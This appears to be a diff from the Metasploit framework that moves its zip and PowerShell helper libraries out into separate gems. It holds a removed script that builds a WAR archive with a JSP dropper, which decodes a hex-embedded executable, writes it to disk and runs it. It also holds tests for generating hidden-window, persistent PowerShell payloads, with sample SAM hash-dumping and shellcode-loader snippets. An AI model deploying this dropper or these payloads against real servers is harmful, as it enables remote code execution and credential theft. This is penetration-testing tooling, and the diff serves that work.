var_hexpath = rand_text_alpha(rand(8)+8)
var_exepath = rand_text_alpha(rand(8)+8)
var_data = rand_text_alpha(rand(8)+8)
var_inputstream = rand_text_alpha(rand(8)+8)
var_outputstream = rand_text_alpha(rand(8)+8)
var_numbytes = rand_text_alpha(rand(8)+8)
var_bytearray = rand_text_alpha(rand(8)+8)
var_bytes = rand_text_alpha(rand(8)+8)
var_counter = rand_text_alpha(rand(8)+8)
var_char1 = rand_text_alpha(rand(8)+8)
var_char2 = rand_text_alpha(rand(8)+8)
var_comb = rand_text_alpha(rand(8)+8)
var_exe = rand_text_alpha(rand(8)+8)
var_hexfile = rand_text_alpha(rand(8)+8)
var_proc = rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "%>\n"
zip.add_file("#{var_payload}.jsp", jspraw)
# end <payload>.jsp
# begin <payload>.txt
payloadraw = exe.unpack('H*')[0]
zip.add_file("#{var_hexfile}.txt", payloadraw)
# end <payload>.txt
zip.save_to("test.war")

View File

@ -1,19 +0,0 @@
# -*- coding: binary -*-
#
# Add a file from memory and save it.
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
inc = File.dirname(msfbase) + '/../../..'
$:.unshift(inc)
require 'rex/zip'
# example usage
zip = Rex::Zip::Archive.new
zip.add_file("elite.txt", "A" * 1024)
zip.save_to("lolz.zip")

View File

@ -1,58 +0,0 @@
# -*- coding: binary -*-
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
inc = File.dirname(msfbase) + '/../../..'
$:.unshift(inc)
require 'rex/zip'
out = "test.zip"
dir = "/var/www"
def add_file(zip, path)
zip.add_file(path)
end
#
# If it's a directory, Walk the directory and add each item
#
def add_files(zip, path, recursive = nil)
if (not add_file(zip, path))
return nil
end
if (recursive and File.stat(path).directory?)
begin
dir = Dir.open(path)
rescue
# skip this file
return nil
end
dir.each { |f|
next if (f == '.')
next if (f == '..')
full_path = path + '/' + f
st = File.stat(full_path)
if (st.directory?)
puts "adding dir #{full_path}"
add_files(zip, full_path, recursive)
elsif (st.file?)
puts "adding file #{full_path}"
add_file(zip, full_path)
end
}
end
end
zip = Rex::Zip::Archive.new
add_files(zip, dir, TRUE)
zip.save_to(out)

View File

@ -96,6 +96,20 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'patch_finder'
# TimeZone info
spec.add_runtime_dependency 'tzinfo-data'
#
# REX Libraries
#
# Text manipulation library for things like generating random string
spec.add_runtime_dependency 'rex-text'
# Library for Generating Randomized strings valid as Identifiers such as variable names
spec.add_runtime_dependency 'rex-random_identifier'
# library for creating Powershell scripts for exploitation purposes
spec.add_runtime_dependency 'rex-powershell'
# Library for processing and creating Zip compatbile archives
spec.add_runtime_dependency 'rex-zip'
# Library for parsing offline Windows Registry files
spec.add_runtime_dependency 'rex-registry'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -1,407 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
def decompress(code)
Rex::Powershell::Script.new(code).decompress_code
end
RSpec.describe Rex::Powershell::Command do
let(:example_script) do
File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
end
let(:payload) do
Rex::Text.rand_text_alpha(120)
end
let(:arch) do
'x86'
end
describe "::encode_script" do
it 'should read and encode a sample script file' do
script = subject.encode_script(example_script)
expect(script).to be
expect(script.length).to be > 0
end
end
describe "::compress_script" do
context 'with default options' do
it 'should create a compressed script' do
script = File.read(example_script)
compressed = subject.compress_script(script)
expect(compressed.length).to be < script.length
expect(compressed.include?('IO.Compression')).to be_truthy
end
it 'should create a compressed script with eof' do
script = File.read(example_script)
compressed = subject.compress_script(script, 'end_of_file')
expect(compressed.include?('end_of_file')).to be_truthy
end
end
context 'when strip_comments is true' do
it 'should strip comments' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: true)
expect(compressed.length).to be < script.length
end
end
context 'when strip_comment is false' do
it 'shouldnt strip comments' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: false)
expect(compressed.length).to be < script.length
end
end
context 'when strip_whitespace is true' do
it 'should strip whitespace' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true)
expect(decompress(compressed).length).to be < script.length
end
end
context 'when strip_whitespace is false' do
it 'shouldnt strip whitespace' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: false)
expect(decompress(compressed).length).to eq(script.length)
end
end
context 'when sub_vars is true' do
it 'should substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_vars: true)
expect(decompress(compressed).include?('$hashes')).to be_falsey
end
end
context 'when sub_vars is false' do
it 'shouldnt substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_vars: false)
expect(decompress(compressed).include?('$hashes')).to be_truthy
end
end
context 'when sub_funcs is true' do
it 'should substitute functions' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_funcs: true)
expect(decompress(compressed).include?('DumpHashes')).to be_falsey
end
end
context 'when sub_funcs is false' do
it 'shouldnt substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_funcs: false)
expect(decompress(compressed).include?('DumpHashes')).to be_truthy
end
end
end
describe "::run_hidden_psh" do
let(:encoded) do
false
end
context 'when x86 payload' do
it 'should generate code' do
code = subject.run_hidden_psh(payload, arch, encoded)
expect(code.include?('syswow64')).to be_truthy
end
end
context 'when x64 payload' do
it 'should generate code' do
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
expect(code.include?('sysnative')).to be_truthy
end
end
context 'when encoded' do
it 'should generate a code including an encoded command' do
code = subject.run_hidden_psh(payload, arch, true)
expect(code.include?('-nop -w hidden -e ')).to be_truthy
end
end
context 'when command' do
it 'should generate code including a -c command' do
code = subject.run_hidden_psh(payload, arch, encoded)
expect(code.include?('-nop -w hidden -c ')).to be_truthy
end
end
context 'when old' do
it 'should generate a code including unshorted args' do
code = subject.run_hidden_psh(payload, arch, encoded, method: 'old')
expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy
end
end
end
describe "::cmd_psh_payload" do
let(:template_path) do
File.join(Msf::Config.data_directory,
"templates",
"scripts")
end
let(:psh_method) do
'reflection'
end
context 'when payload is huge' do
it 'should raise an exception' do
except = false
begin
code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch, template_path, method: psh_method)
rescue RuntimeError => e
except = true
end
expect(except).to be_truthy
end
end
context 'when persist is true' do
it 'should add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method)
expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy
end
end
context 'when persist is false' do
it 'shouldnt add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method)
expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey
end
end
context 'when prepend_sleep is set' do
it 'should prepend sleep' do
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method)
expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy
end
end
context 'when prepend_sleep isnt set' do
it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method)
expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey
end
end
context 'when prepend_sleep is 0' do
it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method)
expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey
end
end
context 'when method is old' do
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy
end
it 'shouldnt shorten args' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy
end
it 'should include -NoExit' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy
end
end
context 'when method is net' do
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net')
expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy
end
end
context 'when method is reflection' do
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection')
expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy
end
end
context 'when method is msil' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, template_path, method: 'msil')
rescue RuntimeError
except = true
end
expect(except).to be_truthy
end
end
context 'when method is unknown' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, template_path, method: 'blah')
rescue RuntimeError
except = true
end
expect(except).to be_truthy
end
end
context 'when encode_inner_payload' do
it 'should contain an inner payload with -e' do
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method)
expect(code.include?(' -e ')).to be_truthy
end
context 'when no_equals is true' do
it 'should raise an exception' do
except = false
begin
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, no_equals: true, method: psh_method)
rescue RuntimeError
except = true
end
expect(except).to be_truthy
end
end
end
context 'when encode_final_payload' do
context 'when no_equals is false' do
it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method)
expect(code.include?(' -e ')).to be_truthy
expect(code.include?(' -c ')).to be_falsey
end
end
context 'when no_equals is true' do
it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method)
expect(code.include?(' -e ')).to be_truthy
expect(code.include?(' -c ')).to be_falsey
expect(code.include?('=')).to be_falsey
end
end
context 'when encode_inner_payload is true' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, encode_inner_payload: true, method: psh_method)
rescue RuntimeError
except = true
end
expect(except).to be_truthy
end
end
end
context 'when remove_comspec' do
it 'shouldnt contain %COMSPEC%' do
code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method)
expect(code.include?('%COMSPEC%')).to be_falsey
end
end
context 'when use single quotes' do
it 'should wrap in single quotes' do
code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method)
expect(code.include?(' -c \'')).to be_truthy
end
end
end
describe "::generate_psh_command_line" do
it 'should contain no full stop when :no_full_stop' do
opts = {:no_full_stop => true}
command = subject.generate_psh_command_line(opts)
expect(command.include?("powershell ")).to be_truthy
end
it 'should contain full stop unless :no_full_stop' do
opts = {}
command = subject.generate_psh_command_line(opts)
expect(command.include?("powershell.exe ")).to be_truthy
opts = {:no_full_stop => false}
command = subject.generate_psh_command_line(opts)
expect(command.include?("powershell.exe ")).to be_truthy
end
it 'should ensure the path should always ends with \\' do
opts = {:path => "test"}
command = subject.generate_psh_command_line(opts)
expect(command.include?("test\\powershell.exe ")).to be_truthy
opts = {:path => "test\\"}
command = subject.generate_psh_command_line(opts)
expect(command.include?("test\\powershell.exe ")).to be_truthy
end
end
describe "::generate_psh_args" do
it 'should return empty string for nil opts' do
expect(subject.generate_psh_args(nil)).to eql ""
end
command_args = [[:encodedcommand, "parp"],
[:executionpolicy, "bypass"],
[:inputformat, "xml"],
[:file, "x"],
[:noexit, true],
[:nologo, true],
[:noninteractive, true],
[:mta, true],
[:outputformat, 'xml'],
[:sta, true],
[:noprofile, true],
[:windowstyle, "hidden"],
[:command, "Z"]
]
permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
permutations.each do |perms|
opts = {}
perms.each do |k,v|
opts[k] = v
it "should generate correct arguments for #{opts}" do
opts[:shorten] = true
short_args = subject.generate_psh_args(opts)
opts[:shorten] = false
long_args = subject.generate_psh_args(opts)
opt_length = opts.length - 1
expect(short_args).not_to be_nil
expect(long_args).not_to be_nil
expect(short_args.count('-')).to eql opt_length
expect(long_args.count('-')).to eql opt_length
expect(short_args[0]).not_to eql " "
expect(long_args[0]).not_to eql " "
expect(short_args[-1]).not_to eql " "
expect(long_args[-1]).not_to eql " "
if opts[:command]
expect(long_args[-10..-1]).to eql "-Command Z"
expect(short_args[-4..-1]).to eql "-c Z"
end
end
end
end
end
end

View File

@ -1,85 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::Function do
let(:function_name) do
Rex::Text.rand_text_alpha(15)
end
let(:example_function_without_params) do
"""
{
ls HKLM:\SAM\SAM\Domains\Account\Users |
where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} |
Add-Member AliasProperty KeyName PSChildName -PassThru |
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru |
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru |
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru
}"""
end
let(:example_function_with_params) do
"""
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void],
[String]$Parpy='hello',
[Integer] $puppy = 1,
[Array[]] $stuff = Array[],
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}"""
end
describe "::initialize" do
it 'should handle a function without params' do
function = Rex::Powershell::Function.new(function_name, example_function_without_params)
expect(function.name).to eq function_name
expect(function.code).to eq example_function_without_params
expect(function.to_s.include?("function #{function_name} #{example_function_without_params}")).to be_truthy
expect(function.params).to be_kind_of Array
expect(function.params.empty?).to be_truthy
end
it 'should handle a function with params' do
function = Rex::Powershell::Function.new(function_name, example_function_with_params)
expect(function.name).to eq function_name
expect(function.code).to eq example_function_with_params
expect(function.to_s.include?("function #{function_name} #{example_function_with_params}")).to be_truthy
expect(function.params).to be_kind_of Array
expect(function.params.length).to be == 5
expect(function.params[0].klass).to eq 'Type[]'
expect(function.params[0].name).to eq 'Parameters'
expect(function.params[1].klass).to eq 'Type'
expect(function.params[1].name).to eq 'ReturnType'
end
end
end

View File

@ -1,232 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::Obfu do
let(:example_script_without_literal) do
"""
function Find-4624Logons
{
<#
multiline_comment
#>
\r\n\r\n\r\n
\r\n
lots \t of whitespace
\n\n\n\n\n
\n\n
# single_line_comment1
# single_line_comment2
#
# single_line_comment3
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = \"Security\"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
}"""
end
let(:example_script) do
"""
function Find-4624Logons
{
<#
multiline_comment
#>
\r\n\r\n\r\n
\r\n
lots \t of whitespace
\n\n\n\n\n
\n\n
# single_line_comment1
# single_line_comment2
#
# single_line_comment3
$some_literal = @\"
using System;
using System.Runtime.InteropServices;
namespace $kernel32 {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
\"@
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = \"Security\"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$literal2 = @\"parp\"@
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
}"""
end
let(:subject) do
Rex::Powershell::Script.new(example_script)
end
let(:subject_no_literal) do
Rex::Powershell::Script.new(example_script_without_literal)
end
describe "::strip_comments" do
it 'should strip a multiline comment' do
subject.strip_comments
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.include?('comment')).to be_falsey
end
it 'should strip a single line comment' do
subject.strip_comments
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.include?('#')).to be_falsey
end
end
describe "::strip_empty_lines" do
it 'should strip extra windows new lines' do
subject.strip_empty_lines
expect(subject.code).to be
expect(subject.code).to be_kind_of String
res = (subject.code =~ /\r\n\r\n/)
expect(res).to be_falsey
end
it 'should strip extra unix new lines' do
subject.strip_empty_lines
expect(subject.code).to be
expect(subject.code).to be_kind_of String
res = (subject.code =~ /\n\n/)
expect(res).to be_falsey
end
end
describe "::strip_whitespace" do
it 'should strip additional whitespace' do
subject.strip_whitespace
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.include?('lots of whitespace')).to be_truthy
end
end
describe "::sub_vars" do
it 'should replace variables with unique names' do
subject.sub_vars
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.include?('$kernel32')).to be_falsey
expect(subject.code.include?('$Logon')).to be_falsey
end
end
describe "::sub_funcs" do
it 'should replace functions with unique names' do
subject.sub_funcs
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.include?('Find-4624Logons')).to be_falsey
end
end
describe "::standard_subs" do
it 'should run all substitutions on a script with no literals' do
subject_no_literal.standard_subs
expect(subject_no_literal.code).to be
expect(subject_no_literal.code).to be_kind_of String
expect(subject_no_literal.code.include?('Find-4624Logons')).to be_falsey
expect(subject_no_literal.code.include?('lots of whitespace')).to be_truthy
expect(subject_no_literal.code.include?('$kernel32')).to be_falsey
expect(subject_no_literal.code.include?('comment')).to be_falsey
res = (subject_no_literal.code =~ /\r\n\r\n/)
expect(res).to be_falsey
end
it 'should run all substitutions except strip whitespace when literals are present' do
subject.standard_subs
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.include?('Find-4624Logons')).to be_falsey
expect(subject.code.include?('lots of whitespace')).to be_falsey
expect(subject.code.include?('$kernel32')).to be_falsey
expect(subject.code.include?('comment')).to be_falsey
res = (subject.code =~ /\r\n\r\n/)
expect(res).to be_falsey
end
end
end

View File

@ -1,115 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::Output do
let(:example_script) do
Rex::Text.rand_text_alpha(400)
end
let(:subject) do
Rex::Powershell::Script.new(example_script)
end
let(:eof) do
Rex::Text.rand_text_alpha(10)
end
describe "::to_s" do
it 'should print the script' do
expect(subject.to_s).to eq example_script
end
end
describe "::size" do
it 'should return the size of the script' do
expect(subject.size).to eq example_script.size
end
end
describe "::to_s_lineno" do
it 'should print the script with line numbers' do
expect(subject.to_s_lineno).to eq "0: #{example_script}"
end
end
describe "::deflate_code" do
it 'should zlib the code and wrap in powershell in uncompression stub' do
compressed = subject.deflate_code
expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
expect($1.size).to be < Rex::Text.encode_base64(example_script).size
expect(compressed).to eq subject.code
end
it 'should append an eof marker if specified' do
compressed = subject.deflate_code(eof)
expect(compressed.include?("echo '#{eof}';")).to be_truthy
end
end
describe "::encode_code" do
it 'should base64 encode the code' do
encoded = subject.encode_code
expect(encoded).to eq subject.code
encoded =~ /^([A-Za-z0-9\/+=]+)$/
expect($1.size).to eq encoded.size
end
end
describe "::gzip_code" do
it 'should gzip the code and wrap in powershell in uncompression stub' do
compressed = subject.gzip_code
expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy
compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/
expect($1.size).to be < Rex::Text.encode_base64(example_script).size
expect(compressed).to eq subject.code
end
it 'should append an eof marker if specified' do
compressed = subject.gzip_code(eof)
expect(compressed.include?("echo '#{eof}';")).to be_truthy
end
end
describe "::compress_code" do
it 'should gzip by default' do
compressed = subject.compress_code
expect(compressed.include?('IO.Compression.GzipStream')).to be_truthy
end
it 'should deflate if gzip is false' do
compressed = subject.compress_code(nil,false)
expect(compressed.include?('IO.Compression.DeflateStream')).to be_truthy
end
it 'should append an eof' do
compressed = subject.compress_code(eof)
expect(compressed.include?("echo '#{eof}';")).to be_truthy
end
end
describe "::decompress_code" do
it 'should locate the base64 string and decompress it when deflate is used' do
compressed = subject.compress_code(nil, false)
decompressed = subject.decompress_code
expect(decompressed).to eq example_script
end
it 'should locate the base64 string and decompress it when gzip is used' do
compressed = subject.compress_code
decompressed = subject.decompress_code
expect(decompressed).to eq example_script
end
it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do
corrupted = "FromBase64String('parp')"
subject.code = corrupted
expect { subject.decompress_code }.to raise_error(RuntimeError)
expect(subject.code).to eq corrupted
end
end
end

View File

@ -1,27 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::Param do
let(:param_name) do
Rex::Text.rand_text_alpha(15)
end
let(:klass_name) do
Rex::Text.rand_text_alpha(15)
end
describe "::initialize" do
it 'should create a param' do
param = Rex::Powershell::Param.new(klass_name, param_name)
expect(param).to be
expect(param.name).to eq param_name
expect(param.klass).to eq klass_name
expect(param.to_s.include?("[#{klass_name}]$#{param_name}")).to be_truthy
end
end
end

View File

@ -1,159 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::Parser do
let(:example_script) do
"""
function Find-4624Logons
{
$some_literal = @\"
using System;
using System.Runtime.InteropServices;
namespace $kernel32 {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
\"@
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
{
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
if (-not $ReturnInfo.ContainsKey($Key))
{
$Properties = @{
LogType = 4624
LogSource = \"Security\"
SourceAccountName = $AccountName
SourceDomainName = $AccountDomain
NewLogonAccountName = $NewLogonAccountName
NewLogonAccountDomain = $NewLogonAccountDomain
LogonType = $LogonType
WorkstationName = $WorkstationName
SourceNetworkAddress = $SourceNetworkAddress
SourcePort = $SourcePort
Count = 1
Times = @($Logon.TimeGenerated)
}
$literal2 = @\"parp\"@
$ResultObj = New-Object PSObject -Property $Properties
$ReturnInfo.Add($Key, $ResultObj)
}
else
{
$ReturnInfo[$Key].Count++
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
}
}
}
}"""
end
let(:subject) do
Rex::Powershell::Script.new(example_script)
end
describe "::get_var_names" do
it 'should return some variable names' do
vars = subject.get_var_names
expect(vars).to be
expect(vars).to be_kind_of Array
expect(vars.length).to be > 0
expect(vars.include?('$ResultObj')).to be_truthy
end
it 'should not match upper or lowercase reserved names' do
initial_vars = subject.get_var_names
subject.code << "\r\n$SHELLID"
subject.code << "\r\n$ShellId"
subject.code << "\r\n$shellid"
after_vars = subject.get_var_names
expect(initial_vars).to eq after_vars
end
end
describe "::get_func_names" do
it 'should return some function names' do
funcs = subject.get_func_names
expect(funcs).to be
expect(funcs).to be_kind_of Array
expect(funcs.length).to be > 0
expect(funcs.include?('Find-4624Logons')).to be_truthy
end
end
describe "::get_string_literals" do
it 'should return some string literals' do
literals = subject.get_string_literals
expect(literals).to be
expect(literals).to be_kind_of Array
expect(literals.length).to be > 0
expect(literals[0].include?('parp')).to be_falsey
end
end
describe "::scan_with_index" do
it 'should scan code and return the items with an index' do
scan = subject.scan_with_index('DllImport')
expect(scan).to be
expect(scan).to be_kind_of Array
expect(scan.length).to be > 0
expect(scan[0]).to be_kind_of Array
expect(scan[0][0]).to be_kind_of String
expect(scan[0][1]).to be_kind_of Integer
end
end
describe "::match_start" do
it 'should match the correct brackets' do
expect(subject.match_start('{')).to eq '}'
expect(subject.match_start('(')).to eq ')'
expect(subject.match_start('[')).to eq ']'
expect(subject.match_start('<')).to eq '>'
expect { subject.match_start('p') }.to raise_exception(ArgumentError)
end
end
describe "::block_extract" do
it 'should extract a block between brackets given an index' do
idx = subject.code.index('{')
block = subject.block_extract(idx)
expect(block).to be
expect(block).to be_kind_of String
end
it 'should raise a runtime error if given an invalid index' do
expect { subject.block_extract(nil) }.to raise_error(ArgumentError)
expect { subject.block_extract(-1) }.to raise_error(ArgumentError)
